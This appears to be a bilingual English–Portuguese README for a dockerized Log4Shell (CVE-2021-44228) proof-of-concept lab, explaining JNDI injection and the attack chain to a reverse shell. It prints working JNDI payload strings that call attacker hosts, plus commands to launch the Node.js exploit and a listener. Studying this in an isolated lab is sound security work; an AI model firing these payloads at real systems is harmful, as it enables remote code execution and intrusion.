CVE-2021-44228: Log4Shell RCE — end-to-end PoC labCVE-2021-44228: RCE do Log4Shell — lab de PoC ponta a ponta
A dockerized Log4Shell lab — vulnerable Spring Boot + Log4j 2.14.1 app, a marshalsec LDAP + HTTP payload server, and a Node.js exploit that drives JNDI injection all the way to remote code execution.Um lab dockerizado do Log4Shell — aplicação Spring Boot vulnerável com Log4j 2.14.1, um servidor de payload LDAP + HTTP com marshalsec, e um exploit em Node.js que conduz a injeção JNDI até a execução remota de código.
Proof of concept on GitHubProva de conceito no GitHubAuthorization: this is a self-contained lab built for education and security research. All traffic stays inside an isolated Docker network. Do not point it at systems you don't own or aren't explicitly authorized to test — misuse can be a crime.
Summary
Log4Shell (CVE-2021-44228) is a critical CVSS 10.0 remote code execution bug disclosed in December 2021 in Apache Log4j 2, one of the most widely deployed logging libraries in the Java ecosystem. A single attacker-controlled string, logged anywhere by a vulnerable application, is enough to make the server fetch and execute remote Java code.
This repository is a full attacker-and-victim lab: a deliberately vulnerable Spring Boot service, the attacker infrastructure that serves the malicious class, and a Node.js exploit that fires the payload and lands a reverse shell — all wired together with Docker Compose so the whole chain runs on one machine.
How the vulnerability works
Log4j supports message interpolation: when it logs a string, it evaluates
${...} expressions at runtime. ${java:version}, for example, is replaced with
the running JVM version.
The problem is that this interpolation also resolves JNDI (Java Naming and Directory Interface) lookups. When Log4j logs a value like:
${jndi:ldap://attacker.com/Exploit}it tells the JVM to perform an LDAP query to the attacker's server. That server replies with a reference to a remote Java class, and a vulnerable JVM will download and instantiate that class — turning a log line into arbitrary code execution.
The attack surface is enormous because the trigger just has to be logged. Any field the application records — HTTP headers, form fields, cookies, usernames — becomes an injection point.
Affected versions
| Log4j 2 | Status |
|---|---|
2.0-beta9 – 2.14.1 | Vulnerable |
2.15.0 | First fix (still had follow-up issues) |
2.17.0 | Definitively fixed |
The lab
Vulnerable application
| Component | Version | Why it's exploitable |
|---|---|---|
| Apache Log4j | 2.14.1 | Evaluates ${jndi:...} lookups with no restrictions |
| JDK | 1.8.0_181 | Predates 8u191, which set com.sun.jndi.ldap.object.trustURLCodebase=false |
| Spring Boot | 2.5.6 | Just the web framework — the bug lives entirely in Log4j |
The JDK version matters as much as the Log4j version: on 8u191+ the JVM refuses
to load remote codebases over LDAP by default, so the classic "serve a class over
HTTP" path used here needs the older runtime.
The vulnerable endpoint simply logs a few request headers:
GET http://localhost:8080/logAny of these headers is logged directly by Log4j and works as the injection vector:
X-Api-VersionUser-AgentX-Auth-Token
Attacker infrastructure
| Service | Port | Role |
|---|---|---|
| marshalsec (LDAP) | 1389 | Receives the JNDI lookup and redirects it to the HTTP server |
| Python HTTP server | 8888 | Serves the compiled Exploit.class to the victim JVM |
| netcat listener | 9001 | Catches the reverse shell |
Exploitation
The exploit injects a JNDI payload into a loggable header and lets Log4j do the rest. With defaults, the injected value is:
${jndi:ldap://attacker:1389/Exploit}The full chain, once that header is logged:
- Injection — the payload lands in the
X-Api-Versionheader of aGET /logrequest. - Trigger — Log4j interpolates
${jndi:...}and the victim JVM performs an LDAP lookup againstattacker:1389. - Redirect — marshalsec answers with a reference pointing at the HTTP server
on
:8888. - Load & execute — the JVM downloads
Exploit.classand runs it, which drops a marker (/tmp/pwned) and dials back a reverse shell. - Shell — the netcat listener on
:9001receives the connection.
The driver is a small Node.js script. It parses the target URL, picks HTTP/HTTPS transport, plants the JNDI string in the chosen header, sends the request, and reports the status — with a 10-second timeout:
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
# defaults: http://localhost:8080/log attacker 1389 Exploit X-Api-VersionRunning it
Prerequisites: Docker, Docker Compose, and Node.js.
1. Bring up the whole environment:
docker-compose up --buildWait until the logs show the app is ready and the listener is waiting:
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds2. Fire the exploit from a second terminal:
node exploit/exploit.jsExpected output:
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target : http://localhost:8080/log
[*] Header : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}
[+] Response : 200 OK
[+] Body : logged
[+] Payload delivered — check the attacker nc listener on port 90013. Confirm code execution — watch the reverse shell hit :9001 in the
compose logs, and check the marker file the payload dropped inside the victim
container:
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwnedCustom parameters let you swap the vector or point at a different LDAP host:
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"References
Autorização: este é um lab autocontido, feito para fins educacionais e pesquisa de segurança. Todo o tráfego permanece dentro de uma rede Docker isolada. Não aponte para sistemas que você não possui ou que não está explicitamente autorizado a testar — uso indevido pode ser crime.
Resumo
O Log4Shell (CVE-2021-44228) é uma execução remota de código crítica, CVSS 10.0, divulgada em dezembro de 2021 no Apache Log4j 2, uma das bibliotecas de logging mais difundidas do ecossistema Java. Uma única string controlada pelo atacante, registrada em log em qualquer lugar por uma aplicação vulnerável, basta para fazer o servidor buscar e executar código Java remoto.
Este repositório é um lab completo de atacante e vítima: um serviço Spring Boot propositalmente vulnerável, a infraestrutura do atacante que serve a classe maliciosa, e um exploit em Node.js que dispara o payload e obtém um reverse shell — tudo amarrado com Docker Compose para que a cadeia inteira rode em uma máquina.
Como a vulnerabilidade funciona
O Log4j suporta interpolação de mensagens: ao registrar uma string, ele
avalia expressões ${...} em tempo de execução. ${java:version}, por exemplo,
é substituído pela versão da JVM em uso.
O problema é que essa interpolação também resolve lookups JNDI (Java Naming and Directory Interface). Quando o Log4j registra um valor como:
${jndi:ldap://attacker.com/Exploit}ele manda a JVM fazer uma consulta LDAP ao servidor do atacante. Esse servidor responde com uma referência para uma classe Java remota, e uma JVM vulnerável vai baixar e instanciar essa classe — transformando uma linha de log em execução arbitrária de código.
A superfície de ataque é enorme porque o gatilho só precisa ser registrado em log. Qualquer campo que a aplicação grave — cabeçalhos HTTP, campos de formulário, cookies, nomes de usuário — vira um ponto de injeção.
Versões afetadas
| Log4j 2 | Status |
|---|---|
2.0-beta9 – 2.14.1 | Vulnerável |
2.15.0 | Primeira correção (ainda teve problemas) |
2.17.0 | Corrigido definitivamente |
O lab
Aplicação vulnerável
| Componente | Versão | Por que é explorável |
|---|---|---|
| Apache Log4j | 2.14.1 | Avalia lookups ${jndi:...} sem nenhuma restrição |
| JDK | 1.8.0_181 | Anterior à 8u191, que passou a definir com.sun.jndi.ldap.object.trustURLCodebase=false |
| Spring Boot | 2.5.6 | Só o framework web — a falha está inteiramente no Log4j |
A versão do JDK importa tanto quanto a do Log4j: a partir da 8u191 a JVM se
recusa a carregar codebases remotos por LDAP por padrão, então o caminho clássico
de "servir uma classe por HTTP" usado aqui precisa do runtime mais antigo.
O endpoint vulnerável simplesmente registra alguns cabeçalhos da requisição:
GET http://localhost:8080/logQualquer um destes cabeçalhos é registrado diretamente pelo Log4j e funciona como vetor de injeção:
X-Api-VersionUser-AgentX-Auth-Token
Infraestrutura do atacante
| Serviço | Porta | Papel |
|---|---|---|
| marshalsec (LDAP) | 1389 | Recebe o lookup JNDI e o redireciona ao servidor HTTP |
| Servidor HTTP Python | 8888 | Serve o Exploit.class compilado para a JVM da vítima |
| Listener netcat | 9001 | Recebe o reverse shell |
Exploração
O exploit injeta um payload JNDI em um cabeçalho que será logado e deixa o Log4j fazer o resto. Com os valores padrão, o valor injetado é:
${jndi:ldap://attacker:1389/Exploit}A cadeia completa, uma vez que esse cabeçalho é registrado:
- Injeção — o payload chega no cabeçalho
X-Api-Versionde uma requisiçãoGET /log. - Gatilho — o Log4j interpola
${jndi:...}e a JVM da vítima faz um lookup LDAP contraattacker:1389. - Redirecionamento — o marshalsec responde com uma referência apontando para
o servidor HTTP na
:8888. - Carga e execução — a JVM baixa o
Exploit.classe o executa, o que deixa um marcador (/tmp/pwned) e disca de volta um reverse shell. - Shell — o listener netcat na
:9001recebe a conexão.
O driver é um pequeno script em Node.js. Ele interpreta a URL do alvo, escolhe o transporte HTTP/HTTPS, planta a string JNDI no cabeçalho escolhido, envia a requisição e reporta o status — com timeout de 10 segundos:
# node exploit/exploit.js [target] [ldapHost] [ldapPort] [className] [header]
# padrões: http://localhost:8080/log attacker 1389 Exploit X-Api-VersionRodando o lab
Pré-requisitos: Docker, Docker Compose e Node.js.
1. Suba o ambiente inteiro:
docker-compose up --buildEspere até os logs mostrarem que a aplicação está pronta e o listener aguardando:
[*] Waiting for reverse shell on :9001 ...
Started Application in X seconds2. Dispare o exploit em um segundo terminal:
node exploit/exploit.jsSaída esperada:
[*] CVE-2021-44228 — Log4Shell PoC
[*] Target : http://localhost:8080/log
[*] Header : X-Api-Version
[*] Payload : ${jndi:ldap://attacker:1389/Exploit}
[+] Response : 200 OK
[+] Body : logged
[+] Payload delivered — check the attacker nc listener on port 90013. Confirme a execução de código — acompanhe o reverse shell chegando na
:9001 nos logs do compose, e confira o arquivo marcador que o payload deixou
dentro do contêiner da vítima:
docker exec -it log4j-cve-2021-44228-vulnerable-app-1 ls /tmp/pwnedParâmetros customizados permitem trocar o vetor ou apontar para outro host LDAP:
node exploit/exploit.js http://localhost:8080/log attacker 1389 Exploit "User-Agent"